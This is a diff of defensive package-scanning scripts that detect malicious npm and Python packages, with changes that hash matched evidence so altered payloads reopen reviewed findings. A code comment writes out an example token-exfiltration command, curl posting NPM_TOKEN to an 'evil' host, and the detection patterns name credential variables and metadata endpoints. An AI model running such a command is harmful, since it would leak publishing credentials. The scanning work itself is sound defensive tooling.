multi-line object/call, so a changed ``path``/``headers``/body on another line
binds). Returns the UNION of the groups found in the single-line-blanked view
(legacy: a payload embedded inside a template still counts so its brackets bind
the call) and the multi-line-blanked view (a bracket inside a template literal
spanning lines no longer closes the group early). Unioning never shrinks the
span below either view, so neither blanking strategy can drop a line a
malicious change relies on."""
s1, e1 = _scan_group(sl_blanked, idx)
s2, e2 = _scan_group(ml_blanked, idx)
start, end = min(s1, s2), max(e1, e2)
return " ".join(lines[start : end + 1])
def _format_match(
text: str,
lines: list[str],
sl_blanked: list[str],
ml_blanked: list[str],
nl: list[int],
m: re.Match,
max_chars: int,
) -> str:
# The shown snippet is a small window around the match; append a digest of the
# full LOGICAL line (the matched line plus its bracket-continuation lines)
# whenever the snippet does not already show all of it, so a changed payload
# tail, a truncated body, or a multi-line option/header reopens. Offsets are
# mapped to line numbers via bisect over precomputed newline positions, so this
# is O(log n) instead of rescanning the file prefix for every match.
idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the match
line_start = nl[idx - 1] + 1 if idx > 0 else 0
ke = bisect.bisect_left(nl, m.end())
line_end = nl[ke] if ke < len(nl) else len(text)
full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
start = max(line_start, m.start() - 30)
end = min(line_end, m.end() + 30)
snippet = text[start:end].replace("\n", " ")
if len(snippet) > max_chars:
snippet = snippet[:max_chars] + "..."
if snippet != full_logical:
# Normalize before digesting, matching _evidence_hash, so a formatter-only
# reindent of the bound continuation lines does not reopen -- but preserve
# whitespace inside string literals so a changed request/payload body does.
canon = _canon_preserve_strings(full_logical)
digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
snippet = f"{snippet} sha256:{digest}"
return snippet
def _stream_overflow_digest(
matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
) -> tuple[int, str]:
"""A single digest binding the LOGICAL line (the bound bracket-group context,
not just the regex match text) of every overflow match in the iterable, plus
the count of matches folded. Streams the matches (any iterable of re.Match) so a
huge overflow never materializes a list. Whitespace-normalized to match
_evidence_hash so a reindent does not reopen."""
h = hashlib.sha256()
count = 0
for m in matches:
_fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl)
count += 1
return count, h.hexdigest()
def _fold_overflow_match(
h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
) -> None:
"""Fold one overflow match's whitespace-normalized logical-line context into the
running hash ``h``. Shared by _stream_overflow_digest and the inline overflow
fold in _outbound_host_evidence so both produce the identical digest."""
idx = bisect.bisect_left(nl, m.start())
ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
h.update(b"\x00")
h.update(_canon_preserve_strings(ll).encode("utf-8", "replace"))
def _evidence(
text: str,
pat: re.Pattern,
max_chars: int = 200,
) -> str:
m = pat.search(text)
if not m:
# Record every match (not a truncated sample) so an extra match appended to an
# already-flagged file changes the evidence instead of riding the first few.
# Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest
# (binding their logical-line context) so the evidence string stays bounded
# while a changed payload past the cap still reopens. The matches are streamed
# from finditer rather than materialized into a list: a generated file can
# repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a
# re.Match per occurrence before applying the cap would stall or OOM the scan.
it = pat.finditer(text)
shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES))
if not shown_matches:
return ""
start = max(0, m.start() - 30)
end = min(len(text), m.end() + 30)
snippet = text[start:end].replace("\n", " ")
if len(snippet) > max_chars:
snippet = snippet[:max_chars] + "..."
return snippet
lines, sl_blanked, ml_blanked, nl = _index_text(text)
shown = [
_format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches
]
# Fold the rest (past the cap) into one digest as they arrive, never building a
# second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:].
overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl)
if overflow_count:
shown.append(f"(+{overflow_count} more) sha256:{digest}")
return " | ".join(shown)
def _ioc_evidence(text: str, needle: str) -> str:
"""Matched-line context (with bracket-group continuation) for a literal IOC
needle, so a changed adjacent fetch/exfil body reopens the key instead of
riding the bare constant. Falls back to the needle itself if, defensively,
nothing matches (the caller only reaches here when ``needle in text``)."""
return _evidence(text, re.compile(re.escape(needle))) or needle
LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare")
@ -1129,6 +1475,18 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
body = scripts.get(hook)
if not isinstance(body, str):
continue
# Pin the whole lifecycle body via one digest shared by every lifecycle
# finding below: a script that keeps the matched signal but changes
# another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN"
# https://evil`) must reopen. The stored evidence is a bounded matched
# snippet plus this digest, never the entire body, so `--write-baseline`
# on a package with a multi-MiB install script does not bloat the baseline
# JSON while the digest still binds the full body. Normalized to match
# _evidence_hash so a reindent alone does not reopen, while whitespace
# inside quoted strings is preserved so a changed quoted payload does.
body_digest = hashlib.sha256(
_canon_preserve_strings(body).encode("utf-8", "replace")
).hexdigest()
if _LIFECYCLE_FETCH_EXEC.search(body):
findings.append(
Finding(
@ -1136,7 +1494,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = f"lifecycle-fetch-exec ({hook})",
evidence = body,
evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}",
detail = (
f"`scripts.{hook}` fetches an external "
"resource and pipes/chains it to an "
@ -1155,7 +1513,10 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = f"cred-path-in-lifecycle ({hook})",
evidence = body,
evidence = (
f"{_evidence(body, re.compile(re.escape(path_substr)))} "
f"body-sha256:{body_digest}"
),
detail = (
f"`scripts.{hook}` references {why} "
f"({path_substr!r}); install-time access "
@ -1171,7 +1532,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = f"cred-env-in-lifecycle ({hook})",
evidence = _evidence(body, _JS_ENV_TOKEN),
evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}",
detail = (
f"`scripts.{hook}` references a credential "
"env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* "
@ -1237,6 +1598,60 @@ def _host_in_outbound_context(text: str, host: str) -> bool:
return False
def _outbound_host_evidence(text: str, host: str) -> str:
"""Evidence capturing the host WITH its outbound context (URL path, fetch
call, host config), so a changed path/headers/body reopens the key instead
of riding the bare host literal. Falls back to the host if none matches."""
host_re = re.escape(host)
patterns = (
re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE),
re.compile(
rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}"
rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}",
re.IGNORECASE,
),
# Host-config form: capture the whole line (path/headers/body), so a
# changed outbound payload on the same hostname line reopens the key.
re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE),
)
# Record EVERY outbound context for the host, not just the first form that
# matches: a file that already has a baselined URL for the host and later adds
# a separate host-config request (or a second URL) must change the evidence so
# the new payload cannot inherit the old key. Forms are claimed in order, and a
# region already claimed by an earlier form is skipped, so the common
# single-context case keeps its existing snippet. Each form is capped at
# _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a
# minified file cannot make the overlap check quadratic; once chosen is full
# the rest are folded into a digest AS THEY ARRIVE (never accumulated into a
# list, so a host repeated millions of times cannot OOM the scan) and an added
# context still reopens.
lines, sl_blanked, ml_blanked, nl = _index_text(text)
claimed: list[tuple[int, int]] = []
chosen: list[re.Match] = []
overflow_count = 0
overflow_hash = hashlib.sha256()
for pat in patterns:
for m in pat.finditer(text):
if len(chosen) < _MAX_EVIDENCE_MATCHES:
# Overlap check runs only while filling the display list, so
# `claimed` is bounded by the cap and this stays O(cap) per match
# (not quadratic), while every later match is still counted below.
if any(m.start() < e and s < m.end() for s, e in claimed):
continue
claimed.append((m.start(), m.end()))
chosen.append(m)
else:
_fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl)
overflow_count += 1
if not chosen:
return host
chosen.sort(key = lambda m: m.start())
shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen]
if overflow_count:
shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
return " | ".join(shown)
def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
findings: list[Finding] = []
@ -1248,7 +1663,10 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
if rel.lower().endswith(_JS_FAMILY_SUFFIXES):
text = _strip_js_noncode(text)
# IOC substrings (literal, case-sensitive).
# IOC substrings (literal, case-sensitive). Evidence is the matched-line
# context (with its bracket-group continuation), not the bare needle: an IOC
# host/hash left in place while the adjacent fetch/exfil body changes must
# reopen the key instead of riding the constant.
for needle, (sev, why) in KNOWN_IOC_STRINGS.items():
if needle in text:
findings.append(
@ -1257,12 +1675,14 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = "known-ioc-string",
evidence = needle,
evidence = _ioc_evidence(text, needle),
detail = f"{why}: {needle!r}",
)
)
# Cred surfaces, tier 1: hosts with no legit use; bare substring.
# Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context
# (path/headers/body) when present so a changed exfil payload on the same call
# reopens; falls back to the bare host when it is not in an outbound call.
for needle, why in CRED_HOST_ALWAYS_BAD:
if needle in text:
findings.append(
@ -1271,7 +1691,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = "cred-surface-host (always-bad)",
evidence = needle,
evidence = _outbound_host_evidence(text, needle),
detail = (
f"references {why} ({needle!r}); no legitimate "
"frontend use of this surface"
@ -1289,7 +1709,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = "cred-surface-host (outbound)",
evidence = needle,
evidence = _outbound_host_evidence(text, needle),
detail = (
f"references {why} ({needle!r}) in an outbound "
"call / URL / host config; a defensive blocklist "
@ -1393,7 +1813,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = "known-ioc-string",
evidence = needle,
evidence = _ioc_evidence(text, needle),
detail = f"{why}: {needle!r}",
)
)
@ -1453,11 +1873,11 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
_DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")
# Bumped when the entry-key semantics change. v2 keys on the package-relative
# path; v1 stored only a basename, so a v1 entry could suppress a same-named file
# in a different directory. A pre-v2 baseline with entries is ignored (fail
# closed) rather than mis-applied.
_BASELINE_SCHEMA_VERSION = 2
# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new
# payload under an already-listed package/path/pattern is not auto-suppressed; v2
# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline
# with entries is ignored (fail closed) rather than mis-applied.
_BASELINE_SCHEMA_VERSION = 3
def _norm_pkg_name(display: str) -> str:
@ -1486,12 +1906,28 @@ def _relpath_in_package(filename: str) -> str:
return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f
def _finding_key(f: Finding) -> tuple[str, str, str]:
"""Stable allowlist key: normalized package, package-relative path, pattern."""
return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern)
def _evidence_hash(evidence: str) -> str:
"""Stable digest of the matched evidence. The npm snippet carries no line
markers, so it is already version-stable; whitespace outside string literals is
collapsed (reindent-stable) while whitespace inside literals is preserved, so a
changed payload body reopens but a formatter reindent does not."""
canon = _canon_preserve_strings(evidence or "")
return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
def _load_baseline(path: str) -> set[tuple[str, str, str]]:
def _finding_key(f: Finding) -> tuple[str, str, str, str]:
"""Allowlist key: normalized package, package-relative path, pattern, and a
hash of the matched evidence -- so changed flagged code under an already-listed
package/path/pattern reopens instead of riding the reviewed entry."""
return (
_norm_pkg_name(f.package),
_relpath_in_package(f.filename),
f.pattern,
_evidence_hash(f.evidence or f.detail),
)
def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
"""Load an allowlist JSON into a set of match keys. Missing file -> empty."""
try:
with open(path, "r", encoding = "utf-8") as fh:
@ -1501,27 +1937,55 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
except (OSError, json.JSONDecodeError) as exc:
print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
return set()
if not isinstance(data, dict):
print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr)
return set()
entries = data.get("entries", [])
if entries and data.get("version") != _BASELINE_SCHEMA_VERSION:
if not isinstance(entries, list):
print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)
return set()
# v2 shares v3's package-relative keying, so its entries migrate by recomputing
# the evidence hash from their stored evidence; only pre-v2 (basename) is rejected.
if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2):
print(
f" [WARN] baseline schema v{data.get('version')} predates package-relative "
f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.",
file = sys.stderr,
)
return set()
keys: set[tuple[str, str, str]] = set()
keys: set[tuple[str, str, str, str]] = set()
legacy = 0
for e in entries:
if not isinstance(e, dict):
continue
try:
keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"]))
evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")
if not e.get("evidence_hash"):
legacy += 1
keys.add(
(
_norm_pkg_name(e["package"]),
_relpath_in_package(e["file"]),
e["pattern"],
evidence_hash,
)
)
except (KeyError, TypeError):
continue
if legacy:
print(
f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "
f"not suppress until regenerated with --write-baseline (findings reopen "
f"rather than risk hiding changed code under a coarse key)",
file = sys.stderr,
)
return keys
def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int:
"""Persist at-or-above-threshold findings as an allowlist for triage."""
entries = []
seen: set[tuple[str, str, str]] = set()
seen: set[tuple[str, str, str, str]] = set()
for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)):
if _SEVERITY_RANK[f.severity] > threshold_rank:
continue
@ -1529,21 +1993,24 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
if key in seen:
continue
seen.add(key)
evidence = f.evidence or f.detail
entries.append(
{
"package": _norm_pkg_name(f.package),
"file": _relpath_in_package(f.filename),
"pattern": f.pattern,
"severity": f.severity,
"evidence": (f.evidence or f.detail)[:240],
"evidence": evidence,
"evidence_hash": _evidence_hash(evidence),
}
)
doc = {
"_comment": (
"scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL "
"finding manually judged benign. Matched on (package, "
"package-relative path, pattern); evidence/severity are for review "
"only. Regenerate with --write-baseline AFTER reviewing every line."
"package-relative path, pattern, evidence hash); a new payload under "
"an already-listed package/path/pattern reopens. severity is for "
"review only. Regenerate with --write-baseline AFTER reviewing every line."
),
"version": _BASELINE_SCHEMA_VERSION,
"entries": entries,
@ -1556,7 +2023,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
def _partition_baseline(
findings: list[Finding], baseline: set[tuple[str, str, str]]
findings: list[Finding], baseline: set[tuple[str, str, str, str]]
) -> tuple[list[Finding], list[Finding]]:
"""Split findings into (active, suppressed) by allowlist membership."""
if not baseline:

4
scripts/scan_npm_packages_baseline.json
View file

@ -1,5 +1,5 @@
{
"_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
"version": 2,
"_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
"version": 3,
"entries": []
}

594
scripts/scan_packages.py
View file

@ -43,9 +43,10 @@ False positives:
examples and `>>>` doctests cannot trip a finding. Residual findings that
are genuine library behavior (a HTTP client reading HF_TOKEN, a vendored
test fixture) are suppressed via a reviewed baseline allowlist, matched on
(package, basename(file), check). A NEW kind of finding in an already-listed
file is a different check and still fails. This mirrors the Hugging Face Hub
approach (ClamAV/picklescan: low-FP, signature/structural, surface status).
(package, package-relative file, check, evidence hash). A new check, or
changed flagged code under the same check, reopens the finding; version
bumps and line shifts do not. This mirrors the Hugging Face Hub approach
(ClamAV/picklescan: low-FP, signature/structural, surface status).
Exit codes:
0 -- no non-baselined CRITICAL or HIGH findings (or --write-baseline)
@ -55,6 +56,8 @@ Exit codes:
import argparse
import atexit
import bisect
import hashlib
import io
import json
import os
@ -156,6 +159,9 @@ RE_EMBEDDED_KEYS = re.compile(
re.DOTALL,
)
# Full PEM block (BEGIN..END), used to pin a multiline key body in evidence.
RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL)
# Cloud metadata / IMDS endpoints
RE_CLOUD_METADATA = re.compile(
r"169\.254\.169\.254" # AWS/Azure/GCP IMDS
@ -476,22 +482,26 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
# Large base64 blob
if RE_LARGE_BLOB.search(content):
blob = RE_LARGE_BLOB.search(content).group()
# Digest every blob (not just the first 120 chars, and not just the
# first blob), so a later payload that keeps the prefix or appends a
# second encoded blob reopens.
blob, digest = _blob_digest(content)
findings.append(
Finding(
CRITICAL,
package,
filename,
f".pth has large base64-like blob ({len(blob)} chars)",
blob[:120] + "...",
f"{blob[:120]}... sha256:{digest}",
)
)
# Catch-all: any import line in .pth if nothing else triggered
# Catch-all: any import line in .pth if nothing else triggered. Bind every
# line through a digest so an appended/swapped import reopens the key, but cap
# the displayed text so a large .pth of benign-looking imports cannot dump up
# to the archive member cap into the logs or baseline JSON.
if not findings and import_lines:
evidence = "\n".join(import_lines[:5])
if len(import_lines) > 5:
evidence += f"\n... ({len(import_lines)} import lines total)"
evidence = _cap_line("\n".join(import_lines))
findings.append(
Finding(
HIGH,
@ -505,13 +515,15 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
# Unusually large executable .pth (litellm's was 34 KB; legit ones are <100 bytes)
size = len(content)
if size > 500 and import_lines:
# Pin the content so a different payload of the same size/import count reopens.
digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
findings.append(
Finding(
HIGH,
package,
filename,
f"Unusually large executable .pth ({size} bytes)",
f"{len(import_lines)} import line(s) in {size}-byte .pth file",
f"{len(import_lines)} import line(s) in {size}-byte .pth file sha256:{digest}",
)
)
@ -629,6 +641,13 @@ def _hidden_payload_findings(
removed = "".join(o if o != s else " " for o, s in zip(original, code))
out = []
# The visible exec/eval line is what makes the hidden string executable, so
# bind it into every finding's evidence: otherwise a reviewed false positive
# that keeps the same hidden text but flips a harmless `eval("1+1")` to
# `exec(__doc__)` (now running the payload) keeps the same key and stays
# suppressed. Taken from `stripped` (real code), where the exec/eval lives.
trigger = _extract_evidence(stripped, RE_EXEC_EVAL)
def _hidden(pat):
# Carrier present in a blanked region but NOT in real code. A carrier in
# real code is already caught by the normal check, so restricting to
@ -643,7 +662,7 @@ def _hidden_payload_findings(
package,
filename,
"exec/eval with payload hidden in a docstring/string",
f"{label}: {_extract_evidence(removed, pat)}",
f"exec: {trigger}\n{label}: {_extract_evidence(removed, pat)}",
)
)
# Fetch-then-run dropper: a network call AND an os/subprocess exec that both
@ -657,7 +676,9 @@ def _hidden_payload_findings(
package,
filename,
"exec/eval with hidden network+exec payload",
f"network+exec: {_extract_evidence(removed, RE_SUBPROCESS)}",
f"exec: {trigger}\n"
f"network+exec: {_extract_evidence(removed, RE_NETWORK)} | "
f"{_extract_evidence(removed, RE_SUBPROCESS)}",
)
)
return out
@ -717,14 +738,19 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
# openssl encryption + network/key material (encrypted exfiltration)
if has_openssl_cli and (has_network or has_keys):
# Bind whichever side(s) co-occur so a changed endpoint or key reopens.
evidence = [f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}"]
if has_network:
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if has_keys:
evidence.append(f"Key: {_embedded_key_evidence(content)}")
findings.append(
Finding(
CRITICAL,
package,
filename,
"openssl encryption + network/key material (encrypted exfiltration)",
f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
"\n".join(evidence),
)
)
@ -896,6 +922,10 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
# Obfuscated payload: base64 + exec/eval + large blob
if has_base64 and has_exec_eval and has_blob:
# Digest every blob too: a payload may sit on a separate line from the
# decode call, and a second encoded blob may be appended later, so
# binding only the base64/exec lines or the first blob would miss it.
_, blob_digest = _blob_digest(content)
findings.append(
Finding(
HIGH,
@ -903,7 +933,8 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
filename,
"base64 decode + exec/eval + large encoded blob",
f"Base64: {_extract_evidence(content, RE_BASE64)}\n"
f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}",
f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}\n"
f"Blob: sha256:{blob_digest}",
)
)
@ -928,32 +959,48 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
package,
filename,
"Embedded cryptographic key + network calls (encrypted exfil pattern)",
f"Key: {_extract_evidence(content, RE_EMBEDDED_KEYS)}\n"
f"Key: {_embedded_key_evidence(content)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
)
)
# Anti-analysis + any other suspicious pattern
if has_anti and (has_network or has_subprocess or has_exec_eval):
# Bind the suspicious side too so a changed payload reopens.
evidence = [f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}"]
if has_network:
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if has_subprocess:
evidence.append(f"Subprocess: {_extract_evidence(content, RE_SUBPROCESS)}")
if has_exec_eval:
evidence.append(f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}")
findings.append(
Finding(
HIGH,
package,
filename,
"Anti-analysis/sandbox evasion + suspicious behavior",
f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}",
"\n".join(evidence),
)
)
# DNS exfiltration with dynamic hostnames
if has_dns_exfil and (has_base64 or has_network or has_creds):
# Bind the co-occurring side so a changed exfil channel reopens.
evidence = [f"DNS: {_extract_evidence(content, RE_DNS_EXFIL)}"]
if has_base64:
evidence.append(f"Base64: {_extract_evidence(content, RE_BASE64)}")
if has_network:
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if has_creds:
evidence.append(f"Creds: {_extract_evidence(content, RE_CRED_ACCESS)}")
findings.append(
Finding(
HIGH,
package,
filename,
"DNS exfiltration / tunneling patterns",
_extract_evidence(content, RE_DNS_EXFIL),
"\n".join(evidence),
)
)
@ -1064,7 +1111,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
package,
filename,
"Embedded cryptographic key material",
_extract_evidence(content, RE_EMBEDDED_KEYS),
_embedded_key_evidence(content),
)
)
@ -1107,39 +1154,349 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
return findings
_MAX_MULTILINE_LINES = 12
# How far a single matched call is followed over its bracket continuations. A call
# that genuinely closes is bound all the way to its real close, up to the hard
# limit, so a ``requests.post(`` with many option/header lines before ``data=``
# binds its whole argument list in the digest and a changed payload on a late
# continuation line reopens (a 40-line soft cap would hash only the first 40 lines
# and let a later ``data=``/headers change ride the baseline key). A bracket that
# never closes within the hard limit is a miscount (a multi-line string the
# single-line blanker cannot mask) or a stray opener, so it is bound only to the
# soft cap and cannot swallow unrelated code.
_MAX_CALL_LINES = 40 # soft cap: how far a NEVER-closing opener is followed
_MAX_CALL_HARD_LINES = 200 # hard cap: how far a closing call is followed to bind it
# Cap a single rendered line. A short line is shown verbatim; a long (e.g.
# minified one-liner) line is shown as a bounded prefix plus a sha256 of the full
# line, so a packed payload cannot dump unbounded content into the evidence and
# baseline while a change past the cutoff still changes the digest and reopens the
# finding. The npm scanner bounds its snippets the same way.
_MAX_LINE_CHARS = 200
# Cap on recorded spans in one evidence string; beyond it the remaining spans are
# folded into a digest so a file with thousands of matching lines cannot build a
# multi-megabyte evidence blob, while an added/removed span past the cap still
# changes the key. Comfortably above the largest real baseline entry.
_MAX_EVIDENCE_SPANS = 96
def _cap_line(code: str) -> str:
"""Bound a single line's displayed code: return it verbatim when short, else a
``_MAX_LINE_CHARS`` prefix plus a digest of the whole line so the tail is still
pinned (fail-closed) without recording the entire line."""
if len(code) <= _MAX_LINE_CHARS:
return code
digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()
return f"{code[:_MAX_LINE_CHARS]} sha256:{digest}"
_PY_TRIPLE = ("'''", '"""')
def _ends_with_odd_backslash(s: str) -> bool:
"""True if ``s`` ends with an odd run of backslashes, i.e. a trailing
backslash that escapes the newline (a string/line continuation) rather than a
literal ``\\\\`` pair."""
return (len(s) - len(s.rstrip("\\"))) % 2 == 1
# Single-line quoted string literal; blanks complete one-line strings (the legacy
# view) so the single-line and multi-line blanked spans can be unioned below.
_RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"")
def _blank_code_strings(lines: list[str]) -> list[str]:
"""Replace string contents (single- and triple-quoted, escapes honoured) with
spaces across ``lines``, keeping the line count and every bracket OUTSIDE a
string intact. Bracket counting then never miscounts a ``)`` that lives inside
a string -- including a triple-quoted string spanning several lines, which a
per-line regex cannot blank."""
out: list[str] = []
in_triple: str | None = None # active ''' or \"\"\" delimiter, or None
in_string: str | None = None # active ' or " continued via a trailing backslash
for line in lines:
buf: list[str] = []
i, n = 0, len(line)
while i < n:
if in_triple is not None:
end = line.find(in_triple, i)
if end == -1:
buf.append(" " * (n - i))
i = n
else:
buf.append(" " * (end - i + 3))
i = end + 3
in_triple = None
continue
if in_string is not None:
# A single-/double-quoted string continued onto this line by a
# backslash-escaped newline. Resume blanking until its closing quote;
# if this line also ends on an odd trailing backslash the string
# continues again, otherwise it closes (or is unterminated) here. A
# per-line regex blanker cannot see this, so a `)` on the
# continuation line would otherwise be counted as code and close the
# call early -- dropping the URL/body lines that follow.
j, closed = i, False
while j < n:
if line[j] == "\\":
j += 2
continue
if line[j] == in_string:
j += 1
closed = True
break
j += 1
buf.append(" " * (min(j, n) - i))
if closed:
in_string = None
i = j
else:
i = n
if not _ends_with_odd_backslash(line):
in_string = None # unterminated without continuation; stop
continue
ch = line[i]
if ch in "'\"":
if line[i : i + 3] in _PY_TRIPLE:
delim = line[i : i + 3]
end = line.find(delim, i + 3)
if end == -1: # opens a triple string that runs past this line
buf.append(" " * (n - i))
in_triple = delim
i = n
else:
buf.append(" " * (end - i + 3))
i = end + 3
continue
j = i + 1 # single-line string; skip to its closing quote
closed = False
while j < n:
if line[j] == "\\":
j += 2
continue
if line[j] == ch:
j += 1
closed = True
break
j += 1
buf.append(" " * (min(j, n) - i))
if closed:
i = j
else:
# Ran off the line without closing: an odd trailing backslash
# escapes the newline and continues the string onto the next
# line, so remember the quote; otherwise it is just unterminated.
i = n
if _ends_with_odd_backslash(line):
in_string = ch
continue
buf.append(ch)
i += 1
out.append("".join(buf))
return out
_RE_BRACKETS = re.compile(r"[()\[\]{}]")
_OPENERS = frozenset("([{")
def _bracket_lr(line: str) -> tuple[int, int]:
"""Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``
where ``L`` is the count of closers with no opener earlier on the line (they
need an opener to the LEFT / a prior line) and ``R`` is the count of openers
with no closer later on the line (they need a closer to the RIGHT / a later
line). A plain net count (opens minus closes) collapses order and so masks a
trailing opener that follows leading closers on the same line, e.g.
``]; requests.post(`` nets to 0 and hides the ``(`` that opens the flagged
call; tracking the running minimum keeps that opener visible so the call's
argument lines still bind. Only bracket characters are walked (pulled out with
one C-level regex pass) so a long minified line stays cheap."""
depth = 0
low = 0
for ch in _RE_BRACKETS.findall(line):
if ch in _OPENERS:
depth += 1
else:
depth -= 1
if depth < low:
low = depth
return -low, depth - low
def _scan_line_end(view: list[str], start: int) -> int:
"""1-based line where the statement at ``start`` closes its brackets in
``view`` (one blanked view of the file). A call that closes is followed to its
real close up to ``_MAX_CALL_HARD_LINES`` so its whole argument list binds; a
bracket that never closes within that hard limit (a stray/miscounted opener) is
bound only to the ``_MAX_CALL_LINES`` soft cap so it cannot swallow the file.
Brackets are applied in order via ``_bracket_lr`` (leading closers clamp at 0)
